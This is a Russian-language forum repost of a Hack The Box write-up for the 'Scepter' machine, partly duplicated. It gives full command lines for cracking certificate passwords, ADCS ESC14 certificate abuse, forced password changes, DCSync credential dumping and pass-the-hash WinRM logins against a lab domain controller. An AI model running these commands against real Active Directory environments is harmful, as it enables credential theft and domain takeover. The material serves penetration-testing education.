stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу разные варианты техники повышения привилегий ADCS ESC14: сначала для получения сессии на хосте, а затем для получения повышенных прав в домене Windows.
Наша цель — получение прав суперпользователя на машине Scepter с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
Доступные тома NFS
Нам доступен для чтения ресурс helpdesk. Монтируем его к нашей системе и просматриваем содержимое каталога.
Содержимое ресурса helpdesk
В каталоге содержатся сертификаты и ключи. PFX-сертификаты защищены паролем. Мы можем использовать Для просмотра ссылки Войдиили Зарегистрируйся, чтобы для сертификатов сформировать хеши паролей в формате утилиты john.
Затем отправляем полученные хеши на перебор. Получаем один пароль для всех сертификатов.
john --wordlist=rockyou.txt hashes.txt
Результат подбора паролей
Перед использованием сертификата с него нужно «снять» пароль.
Однако при попытке пройти аутентификацию с любым из сертификатов получаем ошибку, что клиент отозван.
certipy auth -pfx clark.pfx
Ошибка аутентификации
Просмотрим другой сертификат — baker.crt, который используется для аутентификации пользователя d.baker.
Информация о сертификате
Сконвертируем сертификат в формат PFX, после чего попробуем пройти аутентификацию и получим учетные данные пользователя.
Ошибка получения TGT-билета
Ошибка KRB_AP_ERR_SKEW говорит о несоответствии времени на сервере и клиенте. Разница составляет восемь часов, ее мы можем убрать с помощью утилиты faketime.
Учетные данные пользователя
На этот раз удалось получить билет TGT и извлечь из него NTLM-хеш пароля пользователя.
или Зарегистрируйся.
или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Собирать данные будем с помощью коллектора Для просмотра ссылки Войдиили Зарегистрируйся.
RustHound не может аутентифицироваться с помощью хеша, однако может использовать аутентификацию Kerberos. Внесем информацию о целевом домене в файл /etc/krb5.conf.
Затем запросим билет TGT пользователя и выполним подключение к службе LDAP.
Логи RustHound
Построим граф от скомпрометированного пользователя d.baker.
Граф BloodHound
Судя по графу, учетная запись D.BAKER имеет право ForceChangePassword (изменить пароль) на учетную запись A.CARTER. Установим пользователю свой пароль с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Так как мы скомпрометировали нового пользователя, перестраиваем граф BloodHound от его имени.
Граф BloodHound
Учетная запись A.CARTER входит в группу IT SUPPORT, члены которой имеют право GenericAll на подразделение STAFF ACCESS CERTIFICATE. Уже скомпрометированный пользователь D.BAKER входит в это подразделение. Так как речь идет о сертификатах, соберем информацию с ADCS.
Информация о шаблоне StaffAccessCertificate
Certipy автоматически отметил, что шаблон сертификата StaffAccessCertificate уязвим к технике ESC14, а именно к сценарию B, о чем говорит пометка X509RFC822. Техника ESC14 заключается в том, что мы можем использовать явное сопоставление сертификатов (атрибут altSecurityIdentities) для получения сертификата пользователя h.brown, сопоставленного по значению в altSecurityIdentities. X509RFC822 (сценарий B) говорит о том, что явное сопоставление производится по значению атрибута mail.
Нам нужно установить пользователю d.baker значение h.brown@scepter.htb в атрибут mail, после чего от имени d.baker запросить сертификат на имя пользователя h.brown.
Для просмотра ссылки Войдиили Зарегистрируйся
Перед получением сертификата дополним запись в файле /etc/hosts.
faketime -f '+8h' getTGT.py scepter.htb/d.baker -dc-ip 10.10.11.65 -hashes :18b5fb0d99e7a475316213c15b6f22ce
Получение сертификата пользователя h.brown
По сертификату проходим аутентификацию и получаем сначала тикет, а затем и хеш пароля пользователя.
Получение учетных данных пользователя
Как показывает граф BloodHound, пользователь H.BROWN состоит в группе REMOTE MANAGEMENT USERS, что дает ему возможность логина в службе WinRM.
Для просмотра ссылки Войдиили Зарегистрируйся
Получаем сессию через WinRM с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Флаг пользователя
Права записи
Вывод bloodyAD сообщает, что учетная запись h.brown имеет право записи в атрибут altSecurityIdentities учетной записи p.adams. А значит, мы можем записать в этот атрибут значение X509:<RFC822>p.adams@scepter.htb, и тогда данная учетная запись станет уязвима к технике ESC14.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь повторяем эксплуатацию ESC14 как ранее, только для другой учетной записи. Сначала записываем p.adams@scepter.htb в атрибут mail подконтрольной учетной записи d.baker, а затем от его имени запрашиваем сертификат для p.adams. А по сертификату уже получаем учетные данные.
Запрос сертификата для p.adams
Получение учетных данных
Скомпрометировали нового пользователя — перестраиваем граф BloodHound. Пользователь P.ADAMS состоит в группе REPLICATION OPERATORS, члены которой имеют право репликации данных домена.
Граф BloodHound
Выполняем атаку DCSync от имени p.adams и получаем учетные данные всех пользователей домена.
Репликация учетных данных
Логинимся по WinRM от имени администратора и забираем последний флаг.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Scepter с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.65 scepter.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Сканер нашел 13 открытых портов:
- 88 — Kerberos;
- 111, 2049 — NFS;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM.
10.10.11.65 scepter.htb dc01 dc01.scepter.htb
Точка входа
На хосте работает служба NFS, проверим, есть ли для нас доступные бэкапы.showmount -e 10.10.11.65

Нам доступен для чтения ресурс helpdesk. Монтируем его к нашей системе и просматриваем содержимое каталога.
Код:
mkdir /tmp/nfs
sudo mount -t nfs 10.10.11.65:/helpdesk /tmp/nfs
sudo ls -la /tmp/nfs/

В каталоге содержатся сертификаты и ключи. PFX-сертификаты защищены паролем. Мы можем использовать Для просмотра ссылки Войди
Код:
pfx2john.py clark.pfx >> hashes.txt
pfx2john.py lewis.pfx >> hashes.txt
pfx2john.py scott.pfx >> hashes.txt
john --wordlist=rockyou.txt hashes.txt

Перед использованием сертификата с него нужно «снять» пароль.
certipy cert -export -pfx nfs/clark.pfx -out clark.pfx -password newpassword
Однако при попытке пройти аутентификацию с любым из сертификатов получаем ошибку, что клиент отозван.
certipy auth -pfx clark.pfx

Просмотрим другой сертификат — baker.crt, который используется для аутентификации пользователя d.baker.

Сконвертируем сертификат в формат PFX, после чего попробуем пройти аутентификацию и получим учетные данные пользователя.
openssl pkcs12 -export -out baker.pfx -in baker.crt -inkey baker.key
certipy cert -export -pfx ~/tmp/HTB/scepter/nfs/baker.pfx -out baker.pfx -password newpassword
certipy auth -pfx baker.pfx

Ошибка KRB_AP_ERR_SKEW говорит о несоответствии времени на сервере и клиенте. Разница составляет восемь часов, ее мы можем убрать с помощью утилиты faketime.
faketime -f '+8h' certipy auth -pfx baker.pfx

На этот раз удалось получить билет TGT и извлечь из него NTLM-хеш пароля пользователя.
Продвижение
У нас есть доменная учетная запись, а значит, мы можем собрать информацию о домене с помощью Для просмотра ссылки ВойдиСправка: BloodHound
Утилита Для просмотра ссылки ВойдиСобирать данные будем с помощью коллектора Для просмотра ссылки Войди
RustHound не может аутентифицироваться с помощью хеша, однако может использовать аутентификацию Kerberos. Внесем информацию о целевом домене в файл /etc/krb5.conf.
Код:
[domain_realm]
.scepter.htb = SCEPTER.HTB
scepter.htb = SCEPTER.HTB
[libdefaults]
default_realm = SCEPTER.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true
[realms]
SCEPTER.HTB = {
kdc = DC01.SCEPTER.HTB
admin_server = DC01.SCEPTER.HTB
default_domain = SCEPTER.HTB
}
faketime -f '+8h' getTGT.py scepter.htb/d.baker -dc-ip 10.10.11.65 -hashes :18b5fb0d99e7a475316213c15b6f22ce
KRB5CCNAME=d.baker.ccache faketime -f "+8h" ./rusthound-ce -d SCEPTER.HTB -u d.baker -f DC01 -k -z -c All

Построим граф от скомпрометированного пользователя d.baker.

Судя по графу, учетная запись D.BAKER имеет право ForceChangePassword (изменить пароль) на учетную запись A.CARTER. Установим пользователю свой пароль с помощью Для просмотра ссылки Войди
bloodyAD -d scepter.htb -u d.baker -p :18b5fb0d99e7a475316213c15b6f22ce --host 10.10.11.65 set password a.carter Password123
Для просмотра ссылки Войди
Так как мы скомпрометировали нового пользователя, перестраиваем граф BloodHound от его имени.

Учетная запись A.CARTER входит в группу IT SUPPORT, члены которой имеют право GenericAll на подразделение STAFF ACCESS CERTIFICATE. Уже скомпрометированный пользователь D.BAKER входит в это подразделение. Так как речь идет о сертификатах, соберем информацию с ADCS.
faketime -f '+8h' certipy find -u [EMAIL]d.baker@scepter.htb[/EMAIL] -hashes 18b5fb0d99e7a475316213c15b6f22ce -enabled -vulnerable -stdout -esc14

Certipy автоматически отметил, что шаблон сертификата StaffAccessCertificate уязвим к технике ESC14, а именно к сценарию B, о чем говорит пометка X509RFC822. Техника ESC14 заключается в том, что мы можем использовать явное сопоставление сертификатов (атрибут altSecurityIdentities) для получения сертификата пользователя h.brown, сопоставленного по значению в altSecurityIdentities. X509RFC822 (сценарий B) говорит о том, что явное сопоставление производится по значению атрибута mail.
Нам нужно установить пользователю d.baker значение h.brown@scepter.htb в атрибут mail, после чего от имени d.baker запросить сертификат на имя пользователя h.brown.
bloodyAD -d scepter.htb -u a.carter -p Password123 --host 10.10.11.65 set object d.baker mail -v '[EMAIL]h.brown@scepter.htb[/EMAIL]'
Для просмотра ссылки Войди
Перед получением сертификата дополним запись в файле /etc/hosts.
10.10.11.65 scepter.htb dc01 dc01.scepter.htb scepter-DC01-CA
faketime -f '+8h' getTGT.py scepter.htb/d.baker -dc-ip 10.10.11.65 -hashes :18b5fb0d99e7a475316213c15b6f22ce
KRB5CCNAME=d.baker.ccache faketime -f "+8h" certipy req -k -username 'h.brown' -target 'dc01.scepter.htb' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'

По сертификату проходим аутентификацию и получаем сначала тикет, а затем и хеш пароля пользователя.
faketime -f "+8h" certipy auth -pfx h.brown.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username 'h.brown'

Как показывает граф BloodHound, пользователь H.BROWN состоит в группе REMOTE MANAGEMENT USERS, что дает ему возможность логина в службе WinRM.
Для просмотра ссылки Войди
Получаем сессию через WinRM с помощью Для просмотра ссылки Войди
KRB5CCNAME=h.brown.ccache faketime -f "+8h" evil-winrm -i dc01.scepter.htb -r scepter.htb

Локальное повышение привилегий
На хосте ничего интересного найти не удалось, а BloodHound ничего не показал. Но BloodHound многое не показывает, так что используем bloodyAD для поиска прав записи на отдельные атрибуты объектов.KRB5CCNAME=h.brown.ccache faketime -f "+8h" bloodyAD -d scepter.htb -u h.brown --host dc01.scepter.htb -k get writable --detail

Вывод bloodyAD сообщает, что учетная запись h.brown имеет право записи в атрибут altSecurityIdentities учетной записи p.adams. А значит, мы можем записать в этот атрибут значение X509:<RFC822>p.adams@scepter.htb, и тогда данная учетная запись станет уязвима к технике ESC14.
KRB5CCNAME=h.brown.ccache faketime -f "+8h" bloodyAD -d 'scepter.htb' -u h.brown -k --host dc01.scepter.htb set object p.adams altSecurityIdentities -v 'X509:<RFC822>[EMAIL]p.adams@scepter.htb[/EMAIL]'
Для просмотра ссылки Войди
Теперь повторяем эксплуатацию ESC14 как ранее, только для другой учетной записи. Сначала записываем p.adams@scepter.htb в атрибут mail подконтрольной учетной записи d.baker, а затем от его имени запрашиваем сертификат для p.adams. А по сертификату уже получаем учетные данные.
Код:
bloodyAD -d scepter.htb -u a.carter -p Password123 --host 10.10.11.65 set object d.baker mail -v 'p.adams@scepter.htb'
faketime -f '+8h' getTGT.py scepter.htb/d.baker -dc-ip 10.10.11.65 -hashes :18b5fb0d99e7a475316213c15b6f22ce
KRB5CCNAME=d.baker.ccache faketime -f "+8h" certipy req -k -username 'p.adams' -target 'dc01.scepter.htb' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'

faketime -f "+8h" certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username 'p.adams'

Скомпрометировали нового пользователя — перестраиваем граф BloodHound. Пользователь P.ADAMS состоит в группе REPLICATION OPERATORS, члены которой имеют право репликации данных домена.

Выполняем атаку DCSync от имени p.adams и получаем учетные данные всех пользователей домена.
secretsdump.py scepter.htb/[EMAIL]p.adams@dc01.scepter.htb[/EMAIL] -hashes :1b925c524f447bb821a8789c4b118ce0 -just-dc-user Administrator
Справка: DCSync
Атака DCSync позволяет злоумышленнику, получившему права Domain Admin или Replicator, притвориться контроллером домена и запросить у настоящего контроллера дамп паролей (включая NTLM-хеши) из Active Directory — через протокол MS-DRSR (репликация AD).
Логинимся по WinRM от имени администратора и забираем последний флаг.
evil-winrm -i 10.10.11.65 -u Administrator -H a291ead3493f9773dc615e66c2ea21c4

Машина захвачена!